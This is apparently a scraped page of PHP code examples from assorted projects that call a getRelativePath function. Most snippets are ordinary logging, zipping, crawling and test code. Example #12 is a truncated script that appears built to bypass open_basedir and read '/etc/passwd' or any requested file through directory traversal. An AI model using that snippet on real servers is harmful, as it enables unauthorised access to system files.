示例#1
0
文件: util.php 项目: ekudel/vkt
function logMessage($message, $trace, $level)
{
    $traceStr = '';
    $i = 0;
    foreach ($trace as $traceElement) {
        if (sizeof($trace) == 1 || $i > 0) {
            $absolutePath = getIfExists($traceElement, 'file');
            if (is_null($absolutePath)) {
                $file = 'unknown';
            } else {
                $file = getRelativePath($_SERVER['DOCUMENT_ROOT'], $absolutePath);
                if (is_null($file)) {
                    $file = $absolutePath;
                }
            }
            $line = getIfExists($traceElement, 'line');
            if (is_null($line)) {
                $line = 'unknown';
            }
            $function = getIfExists($traceElement, 'function');
            if (is_null($function)) {
                $function = 'unknown';
            }
            $traceStr .= "\n    " . $file . ':' . $line . ' ' . $function;
        }
        $i++;
    }
    error_log($level . ': ' . $message . $traceStr);
}
 public function test_getRelativePath()
 {
     $result = getRelativePath(__FILE__);
     $expected = str_replace(ROOT, "", __FILE__);
     $expected = explode("/", $expected);
     $result = explode("/", $result);
     $this->assertEquals(count($expected), count($result) - 1);
 }
示例#3
0
 function getBasePath()
 {
     if (_server('PATH_INFO')) {
         $file = _server('PATH_INFO');
         return getRelativePath($file);
     } else {
         return "";
     }
 }
示例#4
0
 function getBasePath()
 {
     if (isset($GLOBALS['LOGIKS']["_SERVER"]['PATH_INFO'])) {
         $file = $GLOBALS['LOGIKS']["_SERVER"]['PATH_INFO'];
         return getRelativePath($file);
     } else {
         return "";
     }
 }
示例#5
0
function Zip($source, $destination)
{
    $test_dir = "/images/test";
    if (!extension_loaded('zip') || !file_exists($source)) {
        return false;
    }
    $zip = new ZipArchive();
    if (!$zip->open($destination, ZIPARCHIVE::CREATE)) {
        return false;
    }
    $source = str_replace('\\', '/', realpath($source));
    if (is_dir($source) === true) {
        $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
        foreach ($files as $file) {
            $file = str_replace('\\', '/', $file);
            // Ignore "." and ".." folders
            if (in_array(substr($file, strrpos($file, '/') + 1), array('.', '..', '.DS_Store', '.git'))) {
                continue;
            }
            if (strpos($file, $test_dir) > -1) {
                // echo ($file).' is_not_copied<br/>';
                continue;
            }
            $file = realpath($file);
            $fileToPut = getRelativePath($file, $source);
            if (is_file($file) === true && (!strpos($file, '.git') || strpos($file, '.git') == -1)) {
                // echo ($file).' is_file <br/>';
                $zip->addFromString($fileToPut, file_get_contents($file));
            }
        }
    } else {
        if (is_file($source) === true) {
            $zip->addFromString(basename($source), file_get_contents($source));
        }
    }
    return $zip->close();
}
示例#6
0
function write_integrity_db_file($l_FileName = '')
{
    static $l_Buffer = '';
    if (empty($l_FileName)) {
        empty($l_Buffer) or file_put_contents('compress.zlib://' . INTEGRITY_DB_FILE, $l_Buffer, FILE_APPEND) or die("Cannot write to file " . INTEGRITY_DB_FILE);
        $l_Buffer = '';
        return;
    }
    $l_RelativePath = getRelativePath($l_FileName);
    $hash = is_file($l_FileName) ? hash_file('sha1', $l_FileName) : '';
    $l_Buffer .= "{$l_RelativePath}|{$hash}\n";
    if (strlen($l_Buffer) > 32000) {
        file_put_contents('compress.zlib://' . INTEGRITY_DB_FILE, $l_Buffer, FILE_APPEND) or die("Cannot write to file " . INTEGRITY_DB_FILE);
        $l_Buffer = '';
    }
}
示例#7
0
 public function testGetRelativePath()
 {
     // Same level
     $source = '/a/b/c.php';
     $destination = '/a/b/d.php';
     $expected = './d.php';
     $this->assertEquals($expected, getRelativePath($source, $destination));
     // To child
     $source = '/a/b/c.php';
     $destination = '/a/b/c/d.php';
     $expected = './c/d.php';
     $this->assertEquals($expected, getRelativePath($source, $destination));
     // Another child
     $source = '/a/b/c.php';
     $destination = '/a/b/d/d.php';
     $expected = './d/d.php';
     $this->assertEquals($expected, getRelativePath($source, $destination));
     // Just parent
     $source = '/a/b/c.php';
     $destination = '/a/c.php';
     $expected = '../c.php';
     $this->assertEquals($expected, getRelativePath($source, $destination));
     // Different parent
     $source = '/a/b/c.php';
     $destination = '/a/c/d.php';
     $expected = '../c/d.php';
     $this->assertEquals($expected, getRelativePath($source, $destination));
     // Directories
     $source = '/a/b/c/';
     $destination = '/a/b/d/';
     $expected = './d/';
     $this->assertEquals($expected, getRelativePath($source, $destination));
     // Directories
     $source = '/a/b/c/';
     $destination = '/a/c/d/';
     $expected = '../c/d/';
     $this->assertEquals($expected, getRelativePath($source, $destination));
     // Non absolute paths
     $source = 'a/b/c/';
     $destination = 'a/c/d/';
     $expected = $destination;
     $this->assertEquals($expected, getRelativePath($source, $destination));
 }
示例#8
0
        $zip->close();
        $res = searchInDir(array('\\.(js)$'), $build_directory, TRUE);
        $zipFilename = str_replace('.min.js', '.zip', basename($res[0]));
        header('Content-Type: application/zip');
        header('Content-Disposition: attachment; filename="' . $zipFilename . '"');
        header('Content-Length: ' . filesize($pathZipFile));
        readfile($pathZipFile);
        unlink($pathZipFile);
        exit;
    } else {
        if ($format == 'code') {
            $typeFile = 'js';
            if (strtolower(param('file')) == 'css') {
                $typeFile = 'css';
            }
            $files = searchInDir(array('\\.' . $typeFile . '$'), $build_directory, TRUE);
            echo file_get_contents($files[0]);
        } else {
            if ($format == 'json') {
                // Return Json object
                echo json_encode(array('status' => 'success', 'result' => array('guid' => $guid, 'filenames' => array_map(function ($path) {
                    $relativePath = getRelativePath(WINK_DIRECTORY, $path);
                    $baseURL = 'http://' . $_SERVER['SERVER_NAME'] . '/' . basename(realpath(WINK_DIRECTORY)) . '/';
                    return rel2abs($relativePath, $baseURL);
                }, searchInDir(array('\\.(css|js)$'), $build_directory, TRUE)))));
            }
        }
    }
} catch (Exception $e) {
    echo json_encode(array('status' => 'fail', 'result' => array('code' => $e->getCode(), 'message' => $e->getMessage())));
}
示例#9
0
 public function crawll($base_url, $restingPlace, $siteID, $domain)
 {
     $CI =& get_instance();
     error_reporting(0);
     //grab uncrawled URLs
     $query = $CI->db->from('ancors')->where('ancor_crawled', '0')->where('site_id', $siteID)->get();
     $counter = 0;
     while ($query->num_rows() > 0) {
         //do we have any?
         //while( $counter == 0 ) {//do we have any?
         //grab first uncrawled URL
         $res = $query->result();
         $url = $res[0]->ancor_href;
         // Create DOM from URL or file
         $html = file_get_html($url);
         if ($html) {
             //retrieve the file name
             $fileName = $CI->crawlmodel->getFileName($url);
             //create the folder structure for this URL
             $path = $CI->crawlmodel->createDirForHtml($url, $fileName);
             //get all links
             $links = $html->find('a');
             foreach ($links as $link) {
                 if ($link->href != '#') {
                     $urlToInsert = $CI->crawlmodel->prepUrl($link->href, $url, $domain);
                     if ($urlToInsert) {
                         $CI->crawlmodel->insertAncor($urlToInsert, $base_url, $siteID);
                     }
                     //make sure we don't cross the maximum number of allowed pages
                     if ($CI->session->userdata('pageCounter') >= 600) {
                         //delete data for this site
                         $CI->crawlmodel->deleteSite($siteID, $base_url);
                         $return = array();
                         $return['content'] = $CI->load->view('partials/toomany', $CI->data, true);
                         die(json_encode($return));
                     } elseif ($linkInsertResult) {
                         $n = $CI->session->userdata('pageCounter') + 1;
                         $CI->session->set_userdata('pageCounter', $n);
                     }
                     //alter the href attribute, point to the new path
                     //check if we have the domain name at the beginning of the href
                     if (0 === strpos($link->href, "http://" . $base_url) || 0 === strpos($link->href, "https://" . $base_url)) {
                         //absolute URL with domain in front
                         //$link->href = str_replace($base_url, $restingPlace, $link->href);
                         $link->href = getRelativePath($url, $link->href);
                     } else {
                         //leave external domains in tact
                         if (0 === strpos($link->href, "http://") || 0 === strpos($link->href, "https://")) {
                         } else {
                             //absolute URL without domain
                             $link->href = "http://getstatiq.com/sites/" . $domain . $link->href;
                         }
                     }
                     //some links to the home page might be without the trailing /
                     if ($link->href == rtrim($base_url, '/')) {
                         $link->href = rtrim($restingPlace, '/');
                     }
                 }
             }
             //get all external js files
             $scripts = $html->find('script');
             foreach ($scripts as $script) {
                 $urlToInsert = $CI->crawlmodel->prepUrl($script->src, $url, $domain);
                 if ($urlToInsert) {
                     $CI->crawlmodel->insertScript($urlToInsert, $base_url, $siteID);
                 }
                 if ($script->src != '') {
                     //alter the src attribute, point to the new path
                     $script->src = str_replace($base_url, $restingPlace, $script->src);
                 }
             }
             //get all stylesheets
             $stylesheets = $html->find('link[rel=stylesheet]');
             foreach ($stylesheets as $stylesheet) {
                 $urlToInsert = $CI->crawlmodel->prepUrl($stylesheet->href, $url, $domain);
                 if ($urlToInsert) {
                     $CI->crawlmodel->insertStylesheet($urlToInsert, $base_url, $siteID);
                 }
                 //alter the src attribute, point to the new path
                 //$stylesheet->href = str_replace($base_url, $restingPlace, $stylesheet->href);
                 if (0 === strpos($stylesheet->href, "http://" . $base_url) || 0 === strpos($stylesheet->href, "https://" . $base_url)) {
                     $stylesheet->href = getRelativePath($url, $stylesheet->href);
                 } else {
                     //leave external domains in tact
                     if (0 === strpos($stylesheet->href, "http://") || 0 === strpos($stylesheet->href, "https://")) {
                     } else {
                         //absolute URL without domain
                         $stylesheet->href = "http://getstatiq.com/sites/" . $domain . $stylesheet->href;
                     }
                 }
             }
             //get all images from markup
             $images = $html->find('img');
             foreach ($images as $image) {
                 $urlToInsert = $CI->crawlmodel->prepUrl($image->src, $url, $domain);
                 if ($urlToInsert) {
                     $CI->crawlmodel->insertImage($urlToInsert, $base_url, $siteID);
                 }
                 //alter the src attribute, point to the new path
                 $image->src = str_replace($base_url, $restingPlace, $image->src);
             }
             //store the file
             $theHTML = $html->save();
             $CI->crawlmodel->store($theHTML, $path, $fileName, "HTML");
             //set URL as crawled
             $CI->crawlmodel->ancorCrawled($res[0]->ancor_id, $siteID);
             //dump to screen
             //flush();
         } else {
             //404!
             //set URL as crawled
             $CI->crawlmodel->ancorCrawled($res[0]->ancor_id, $siteID, true);
         }
         //recursion baby!
         $query = $CI->db->from('ancors')->where('ancor_crawled', '0')->where('site_id', $siteID)->get();
         $counter++;
     }
     //grab uncrawled scripts
     $query = $CI->db->from('scripts')->where('script_crawled', '0')->where('site_id', $siteID)->get();
     $counter = 0;
     while ($query->num_rows() > 0) {
         //grab first uncrawled URL
         $res = $query->result();
         $scriptUrl = $res[0]->script_url;
         $jsFile = file_get_contents($scriptUrl);
         if ($jsFile) {
             //retrieve the file name
             $fileName = $CI->crawlmodel->getFileName($scriptUrl);
             //create the folder structure for this URL
             $path = $CI->crawlmodel->createDirForJs($scriptUrl, $fileName);
             //store the file
             $CI->crawlmodel->store($jsFile, $path . "/", $fileName);
             //set script as crawled
             $CI->crawlmodel->scriptCrawled($res[0]->script_id, $siteID);
         } else {
             //4041
             $CI->crawlmodel->scriptCrawled($res[0]->script_id, $siteID, true);
         }
         //recursion baby!
         $query = $CI->db->from('scripts')->where('script_crawled', '0')->where('site_id', $siteID)->get();
         $counter++;
     }
     //grab uncrawled stylesheets
     $q = $CI->db->from('stylesheets')->where('stylesheet_crawled', '0')->where('site_id', $siteID)->get();
     $counter = 0;
     while ($q->num_rows() > 0) {
         //grab first uncrawled URL
         $r = $q->result();
         $stylesheetUrl = $r[0]->stylesheet_url;
         $cssFile = file_get_contents($stylesheetUrl);
         if ($cssFile) {
             //create the folder structure for this URL
             //retrieve the file name
             $fileName = $CI->crawlmodel->getFileName($stylesheetUrl);
             $path = $CI->crawlmodel->createDirForCSS($stylesheetUrl, $fileName);
             //store the file
             $CI->crawlmodel->store($cssFile, $path . "/", $fileName);
             //we'll also need all images from these stylesheets
             preg_match_all('~\\bbackground(-image)?\\s*:.*url(.*?)\\(\\s*(\'|")?(?<image>.*?)\\3?\\s*\\)~i', $cssFile, $matches);
             $images = $matches['image'];
             //echo "<b>".$stylesheetUrl."</b></br>";
             foreach ($images as $img) {
                 if (strpos($img, $base_url) !== false) {
                     //img has absolute path, nothing else to do but add for crawling
                     $CI->crawlmodel->insertImage($img, $base_url, $siteID);
                 } else {
                     //image has relative path, ouch! change url and add for crawling
                     $levels = substr_count($img, "../");
                     $imgExploded = explode('/', $stylesheetUrl);
                     //popup off the file name
                     array_pop($imgExploded);
                     for ($x = 1; $x <= $levels; $x++) {
                         array_pop($imgExploded);
                     }
                     $newUrl = implode("/", $imgExploded) . "/" . str_replace("../", "", $img);
                     //echo $newUrl;
                     $CI->crawlmodel->insertImage($newUrl, $base_url, $siteID);
                 }
             }
             //we'll also need @font-face fonts from the stylesheets
             preg_match_all("/\\([\\.'a-z\\/-]*\\.(eot|woff|ttf|svg){1}/", $cssFile, $output_array);
             foreach ($output_array[0] as $file) {
                 //remove crap from the front
                 $file = ltrim($file, "('");
                 $file = ltrim($file, '("');
                 $file = ltrim($file, "(");
                 if (strpos($file, $base_url) !== false) {
                     //img has absolute path, nothing else to do but add for crawling
                     $CI->crawlmodel->insertFile($file, $base_url, $siteID);
                 } else {
                     //image has relative path, ouch! change url and add for crawling
                     $levels = substr_count($file, "../");
                     $fileExploded = explode('/', $stylesheetUrl);
                     //popup off the file name
                     array_pop($fileExploded);
                     for ($x = 1; $x <= $levels; $x++) {
                         array_pop($fileExploded);
                     }
                     $newUrl = implode("/", $fileExploded) . "/" . str_replace("../", "", $file);
                     //echo $newUrl;
                     $CI->crawlmodel->insertFile($newUrl, $base_url, $siteID);
                 }
             }
             //set script as crawled
             $CI->crawlmodel->stylesheetCrawled($r[0]->stylesheet_id, $siteID);
         } else {
             //404
             $CI->crawlmodel->stylesheetCrawled($r[0]->stylesheet_id, $siteID, true);
         }
         //recursion baby!
         $q = $CI->db->from('stylesheets')->where('stylesheet_crawled', '0')->where('site_id', $siteID)->get();
         $counter++;
     }
     //grab uncrawled images
     $q = $CI->db->from('images')->where('image_crawled', '0')->where('site_id', $siteID)->get();
     $counter = 0;
     while ($q->num_rows() > 0) {
         //grab first uncrawled URL
         $r = $q->result();
         $imageSrc = $r[0]->image_src;
         $imageFile = file_get_contents($imageSrc);
         if ($imageFile) {
             //retrieve the file name
             $fileName = $CI->crawlmodel->getFileName($imageSrc);
             //create the folder structure for this URL
             $path = $CI->crawlmodel->createDirForImage($imageSrc, $fileName);
             //store the file
             $CI->crawlmodel->store($imageFile, $path . "/", $fileName);
             //set script as crawled
             $CI->crawlmodel->imageCrawled($r[0]->image_id, $siteID);
         } else {
             //404
             $CI->crawlmodel->imageCrawled($r[0]->image_id, $siteID, true);
         }
         //recursion baby!
         $q = $CI->db->from('images')->where('image_crawled', '0')->where('site_id', $siteID)->get();
         $counter++;
     }
     //grab uncrawled files
     $q = $CI->db->from('files')->where('file_crawled', '0')->where('site_id', $siteID)->get();
     $counter = 0;
     while ($q->num_rows() > 0) {
         //grab first uncrawled URL
         $r = $q->result();
         $fileSUrl = $r[0]->file_url;
         $file = file_get_contents($fileSUrl);
         if ($file) {
             //retrieve the file name
             $fileName = $CI->crawlmodel->getFileName($fileSUrl);
             //create the folder structure for this URL
             $path = $CI->crawlmodel->createDirForFile($fileSUrl, $fileName);
             //store the file
             $CI->crawlmodel->store($file, $path . "/", $fileName);
             //set script as crawled
             $CI->crawlmodel->fileCrawled($r[0]->file_id, $siteID);
         } else {
             //404
             $CI->crawlmodel->fileCrawled($r[0]->file_id, $siteID, true);
         }
         //recursion baby!
         $q = $CI->db->from('files')->where('file_crawled', '0')->where('site_id', $siteID)->get();
         $counter++;
     }
     $CI->data['url'] = "http://getstatiq.com/sites/" . $base_url;
     $return['content'] = $CI->load->view('partials/crawldone', $this->data, true);
     echo json_encode($return);
 }
示例#10
0
function swarmpath($rel, $options = array())
{
    global $swarmContext;
    // Only normalize the contextpath once
    static $path;
    if (is_null($path)) {
        // Add trailing slash if it's missing
        $path = $swarmContext->getConf()->web->contextpath;
        if (substr($path, -1) !== '/') {
            $path = "{$path}/";
        }
        // Make sure path starts absolute.
        // Either with protocol https?://domain, relative-protocol //domain
        // or starting at domain root with a slash.
        if (substr($path, 0, 6) !== 'http:/' && substr($path, 0, 6) !== 'https:' && $path[0] !== '/') {
            $path = "/{$path}";
        }
        // Update it (just in case it's used elsewhere)
        $swarmContext->getConf()->web->contextpath = $path;
    }
    // Options
    $options = (array) $options;
    if (in_array('fullurl', $options)) {
        $prefix = $swarmContext->getConf()->web->server . $path;
    } else {
        $prefix = $path;
    }
    // Just in case, strip the leading slash
    // from the requested path (check length, becuase may be an empty string,
    // avoid PHP E_NOTICE for undefined [0], which could JSON output to be interrupted)
    if (strlen($rel) > 0 && $rel[0] === '/') {
        $rel = substr($rel, 1);
    }
    $result = $prefix . $rel;
    if (isMaple()) {
        $result = getRelativePath(getCurrentRequestPath(), $result);
    }
    return $result;
}
示例#11
0
/**
 * Get the relative path or URL to a resource (a web-accessible file stored in plugins, skins, languages, or js)
 * depending on the state of the resourceURL config setting.
 *
 * @param string $path The absolute path to the resource.
 * @return string The relative path or URL to the given resource.
 *
 * @package esoTalk
 */
function getResource($path, $absolute = false)
{
    if (strpos($path, "://") === false) {
        // Remove the absolute path to the root esoTalk directory.
        $path = getRelativePath($path);
        // Prepend the web path.
        $path = ltrim($path, "/");
        if ($c = C("esoTalk.resourceURL")) {
            $path = $c . $path;
        } else {
            $path = $absolute ? rtrim(C("esoTalk.baseURL"), "/") . "/" . $path : ET::$webPath . "/" . $path;
        }
    }
    return $path;
}
示例#12
0
<?php

header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for ($i = 1; $i < count($paths) - 1; $i++) {
    mkdir($paths[$i]);
    chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
    chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
    mkdir($name);
    chdir($name);
    $j++;
}
for ($i = 0; $i <= $j; $i++) {
    chdir('..');
示例#13
0
function fixImagePath($cssFile)
{
    static $basepath;
    $content = file_get_contents($cssFile);
    if (!$basepath) {
        $dirname = basename(dirname(__FILE__));
        if (!isset($_SERVER['HTTP_REFERER']) || !preg_match('#^.*' . $dirname . '(/.*)$#', $_SERVER['HTTP_REFERER'], $match)) {
            return $content;
        }
        $basepath = dirname(dirname(__FILE__) . $match[1]);
    }
    preg_match_all('/url\\((([\'"]?)(?!data)([^\'"]+?)\\2)\\)/im', $content, $m);
    if (isset($m[3])) {
        foreach ($m[3] as $image) {
            if (!preg_match('/\\.(gif|png|jpg|jpeg)$/i', $image)) {
                continue;
            }
            $imagePath = realpath(dirname($cssFile) . '/' . $image);
            if (!$imagePath) {
                continue;
            }
            $relativePath = getRelativePath($imagePath, $basepath);
            $content = str_replace($image, $relativePath, $content);
        }
    }
    return $content;
}
示例#14
0
 public function buildAneWindows()
 {
     $outputFile = 'ane/windows/libWindows.dll';
     $allFiles = $this->allEncodeFilesSse2;
     //$allFiles = $this->allEncodeFilesNone;
     putenv("AIRSDK={$this->FLEX}");
     $flags = ['/nologo', '/MT', '/O2', '/D_USRDLL', '/D_WINDLL', '/D__SSE2__'];
     $objs = [];
     foreach ($allFiles as $file) {
         $args = array_merge(['cl', '/c'], $flags, []);
         $sourceFile = getRelativePath(__DIR__, __DIR__ . '/libwebp/src/' . trim($file));
         $obj = str_replace('.c.obj', '.obj', "{$sourceFile}.obj");
         $objs[] = $obj;
         $args[] = $sourceFile;
         $args[] = "/Fo{$obj}";
         $this->passthru("wine", $args);
         //$args[] = getRelativePath(__DIR__, __DIR__ . '/libwebp/src/' . trim($file));
     }
     $objs[] = 'webp_extension.c';
     $args = array_merge(['cl'], $flags, $objs);
     $args[] = 'ane/libs/win/FlashRuntimeExtensions.lib';
     $args[] = '/link';
     $args[] = '/DLL';
     $args[] = "/OUT:{$outputFile}";
     @mkdir(dirname($outputFile), 0777, true);
     $this->passthru("wine", $args);
 }
         $store_filename = $root_path . $path . $final_img_name;
         //put uploaded image in var
         $uploaded_img = $_FILES['photoimg']['tmp_name'];
         //move the image into the temp directory while we work with it
         $tempLocationFile = $temp_path . $tmp_img_name;
         if ($file = move_uploaded_file($uploaded_img, $tempLocationFile)) {
             // 577 × 299
             // krumo($tempLocationFile);
             include_once "lib/resize-class.php";
             $resizeObj = new resize($tempLocationFile);
             $resizeObj->resizeImage(577, 299, "crop");
             $resizeObj->saveImage($tempLocationFile, 100);
             $bg = imagecreatefromjpeg('overlays/destacados_overlay.jpg');
             // $img = imagecreatefromjpeg($tempLocationFile);
             $img = $resizeObj->openImage($tempLocationFile);
             $fileSRC = getRelativePath($store_filename, __FILE__);
             // imagecopymerge($bg, $img, 0, 0, 0, 0, imagesx($bg), imagesy($bg), 100);
             imagecopy($bg, $img, 0, 0, 0, 0, imagesx($img), imagesy($img));
             imagejpeg($bg, $store_filename, 100);
             $message = "{$store_filename} <img src='{$fileSRC}'/>";
             // $bg = imagecreatefromjpeg('background.jpg');
             //delete original user uploaded image from temp directory.
             unlink($tempLocationFile);
         } else {
             //unable to write file to temporary directory - check folder permissions
             $message = "Error! Please try again (temp move).";
         }
     } else {
         $message = "Sorry, your image is too large. Maximum size is 10mb. Please resize it.";
     }
 } else {
示例#16
0
function relativePath()
{
    echo getRelativePath();
}
示例#17
0
/**
 * Creates a symlink with relative path to source
 * On Windows, the file will be copied instead of symlink
 *
 * @param string $source
 * @param string $destination
 * @return bool
 */
function symlinkRelative($source, $destination)
{
    if ($targetDir = dirname($destination)) {
        is_dir($targetDir) or mkdir($targetDir, 0755, true);
    }
    if (Text::startsWith(PHP_OS, 'WIN')) {
        return copy($source, $destination);
    }
    $cwd = getcwd();
    $relativePath = getRelativePath($destination, $source);
    chdir(dirname($destination));
    $result = symlink($relativePath, $destination);
    chdir($cwd);
    return (bool) $result;
}
示例#18
0
 function relative_symlink($target, $link)
 {
     @unlink($link);
     exec('cd "' . dirname($link) . '"; ln -s "' . getRelativePath($link, $target) . '" "' . basename($link) . '"');
     return linkinfo($link) > 0;
 }
示例#19
0
<?php

// 写一个函数,算出两个文件的相对路径
// 如 $a = '/a/b/c/d/e.php';
// $b = '/a/b/12/34/c.php';
// 计算出 $b 相对于 $a 的相对路径应该是 ../../c/d将()添上
$a = '/a/b/c/d/1/e.php';
$b = '/a/b/12/34/c.php';
echo getRelativePath($a, $b);
function getRelativePath($a, $b)
{
    $a2array = explode('/', $a);
    $b2array = explode('/', $b);
    $anum = count($a2array);
    $bnum = count($b2array);
    $maxCount = 0;
    $i = 0;
    //要求$b相对于$a的相对路径,$b和$a的路径树的第一级必需一样,否则没有相对路径
    if ($a2array[0] != $b2array[0]) {
        return false;
    }
    while ($i < $anum) {
        if ($a2array[$i] == $b2array[$i]) {
            $maxCount++;
        } else {
            break;
        }
        $i++;
    }
    $strRelativePath = str_repeat('../', $bnum - $maxCount);
    while ($i < $anum - 1) {
                }
                //realpath gives real path on remote file server
                if (strpos($fpath, '/srv/HEURIST_FILESTORE/') === 0) {
                    $fpath = str_replace('/srv/HEURIST_FILESTORE/', HEURIST_UPLOAD_ROOT, $fpath);
                } else {
                    if (strpos($fpath, '/misc/heur-filestore/') === 0) {
                        $fpath = str_replace('/misc/heur-filestore/', HEURIST_UPLOAD_ROOT, $fpath);
                    }
                }
                //check that the relative path is correct
                $path_parts = pathinfo($fpath);
                $dirname = $path_parts['dirname'] . '/';
                $dirname = str_replace("", '', $dirname);
                $dirname = str_replace('\\', '/', $dirname);
                if (strpos($dirname, HEURIST_FILESTORE_DIR) === 0) {
                    $relative_path = getRelativePath(HEURIST_FILESTORE_DIR, $dirname);
                    //db root folder
                    if ($relative_path != @$res['ulf_FilePath']) {
                        $files_path_to_correct[$res['ulf_ID']] = array('ulf_ID' => $res['ulf_ID'], 'db_fullpath' => $res['db_fullpath'], 'res_fullpath' => $fpath, 'ulf_FilePath' => @$res['ulf_FilePath'], 'res_relative' => $relative_path);
                    }
                }
            }
        }
    }
}
//while
if (count(@$files_orphaned) > 0 || count(@$files_notfound) > 0 || count(@$files_path_to_correct) > 0) {
    ?>
                <script>
                    function markAllMissed(){
                                                
/**
 *
 * @global type $rep_counter
 * @global string $rep_issues
 * @global array $fieldhelper_to_heurist_map
 * @param type $dir
 */
function doHarvestInDir($dir)
{
    global $rep_issues, $fieldhelper_to_heurist_map, $mediaExts, $progress_divid, $geoDT, $fileDT, $titleDT, $startdateDT, $enddateDT, $descriptionDT;
    $rep_processed = 0;
    $rep_added = 0;
    $rep_updated = 0;
    $rep_processed_dir = 0;
    $rep_ignored = 0;
    $f_items = null;
    //reference to items element
    $progress_divid++;
    ob_start();
    print "<div><b>{$dir}</b><span id='progress{$progress_divid}'></span></div>";
    ob_flush();
    flush();
    if (!is_writable($dir)) {
        print "<div style=\"color:red\">Folder is not writeable. Check permissions</div>";
        return 0;
    }
    $manifest_file = $dir . "fieldhelper.xml";
    //list of all files in given folder - need to treat new files that are not mentioned in manifest file
    $all_files = scandir($dir);
    if (file_exists($manifest_file)) {
        //read fieldhelper.xml
        if (is_readable($manifest_file)) {
            //check write permission
            if (!is_writable($manifest_file)) {
                print "<div style=\"color:red\">Manifest is not writeable. Check permissions.</div>";
                return 0;
            }
        } else {
            print "<div style=\"color:red\">Manifest is not readable. Check permissions.</div>";
            return 0;
        }
        $fh_data = simplexml_load_file($manifest_file);
        if ($fh_data == null || is_string($fh_data)) {
            print "<div style=\"color:red\">Manifest is corrupted</div>";
            return 0;
        }
        //MAIN 	LOOP in manifest
        $not_found = true;
        //true if manifest is empty
        foreach ($fh_data->children() as $f_gen) {
            if ($f_gen->getName() == "items") {
                $f_items = $f_gen;
                $not_found = false;
                $tot_files = count($f_gen->children());
                $cnt_files = 0;
                foreach ($f_gen->children() as $f_item) {
                    $recordId = null;
                    $recordType = RT_MEDIA_RECORD;
                    //media by default
                    $recordURL = null;
                    $recordNotes = null;
                    $el_heuristid = null;
                    $lat = null;
                    $lon = null;
                    $filename = null;
                    $filename_base = null;
                    //filename only
                    $details = array();
                    $file_id = null;
                    $old_md5 = null;
                    foreach ($f_item->children() as $el) {
                        //$key=>$value
                        $content = strval($el);
                        // (string)$el;
                        $key = $el->getName();
                        $value = $content;
                        if ($key == "md5") {
                            $old_md5 = $value;
                        } else {
                            if (@$fieldhelper_to_heurist_map[$key]) {
                                $key2 = $fieldhelper_to_heurist_map[$key];
                                if ($key2 == "file") {
                                    $filename = $dir . $value;
                                    $filename_base = $value;
                                    $key3 = $fieldhelper_to_heurist_map['file_name'];
                                    if ($key3 > 0) {
                                        $details["t:" . $key3] = array("1" => $value);
                                    }
                                    $key3 = $fieldhelper_to_heurist_map['file_path'];
                                    if ($key3 > 0) {
                                        $relative_path = getRelativePath(HEURIST_FILESTORE_DIR, $dir);
                                        $details["t:" . $key3] = array("1" => $relative_path);
                                        //change to relative path
                                    }
                                } else {
                                    if ($key2 == "lat") {
                                        $lat = floatval($value);
                                    } else {
                                        if ($key2 == "lon") {
                                            $lon = floatval($value);
                                        } else {
                                            if ($key2 == "recordId") {
                                                $recordId = $value;
                                                $el_heuristid = $el;
                                            } else {
                                                if (intval($key2) > 0) {
                                                    //add to details
                                                    $details["t:" . $key2] = array("1" => $value);
                                                }
                                            }
                                        }
                                    }
                                }
                                // else field type not defined in this instance
                            }
                        }
                    }
                    //for item keys
                    if ($filename) {
                        //exclude from the list of all files in this folder
                        if (in_array($filename_base, $all_files)) {
                            $ind = array_search($filename_base, $all_files, true);
                            unset($all_files[$ind]);
                        }
                    }
                    if ($recordId != null) {
                        //veify that this record exists
                        $res = mysql__select_array("Records", "rec_ID", "rec_ID=" . $recordId);
                        if (!(is_array($res) && count($res) > 0)) {
                            print "<div>File: <i>{$filename_base}</i> was indexed as rec# {$recordId}. " . "This record was not found. File will be reindexed</div>";
                            $recordId = null;
                        }
                    }
                    if ($recordId == null) {
                        //import only new
                        if ($filename) {
                            if (file_exists($filename)) {
                                $currfile = $filename;
                                //assign to global
                                //add-update the uploaded file
                                $file_id = register_file($filename, null, false);
                                if (is_numeric($file_id)) {
                                    $details["t:" . $fileDT] = array("1" => $file_id);
                                    //read EXIF data for JPEG images
                                    $recordNotes = readEXIF($filename);
                                } else {
                                    print "<div>File: <i>{$filename_base}</i> <span  style=\"color:red\">" . "Error: Failed to register. No record created</span></div>";
                                    $file_id = null;
                                }
                            } else {
                                print "<div>File: <i>{$filename_base}</i> <span  style=\"color:red\">" . "File is referenced in fieldhelper.xml but was not found on disk." . "No record was created.</span></div>";
                            }
                        }
                        if (!$file_id) {
                            continue;
                            //add with valid file only
                        }
                        if (is_numeric($lat) && is_numeric($lon) && ($lat != 0 || $lon != 0)) {
                            $details["t:" . $geoDT] = array("1" => "p POINT ({$lon} {$lat})");
                        }
                        //set title by default
                        if (!array_key_exists("t:" . $titleDT, $details)) {
                            $details["t:" . $titleDT] = array("1" => $filename);
                            print "<div>File: <i>{$filename_base}</i> <span  style=\"color:#ff8844\">" . "Warning: there was no title recorded in the XML manifest for this file." . "Using file path + file name as title.</span></div>";
                        }
                        $new_md5 = null;
                        $key = $fieldhelper_to_heurist_map['md5'];
                        if ($key > 0) {
                            $new_md5 = md5_file($filename);
                            $details["t:" . $key] = array("1" => $new_md5);
                        }
                        $out['error'] = 'test';
                        //add-update Heurist record
                        $out = saveRecord($recordId, $recordType, $recordURL, $recordNotes, null, null, null, null, null, null, null, $details, null, null, null, null, null);
                        if (@$out['error']) {
                            print "<div>File: <i>{$filename_base}</i> <span  style='color:red'>Error: " . implode("; ", $out["error"]) . "</span></div>";
                        } else {
                            if ($new_md5 == null) {
                                $new_md5 = md5_file($filename);
                            }
                            //update xml
                            if ($recordId == null) {
                                if ($old_md5 != $new_md5) {
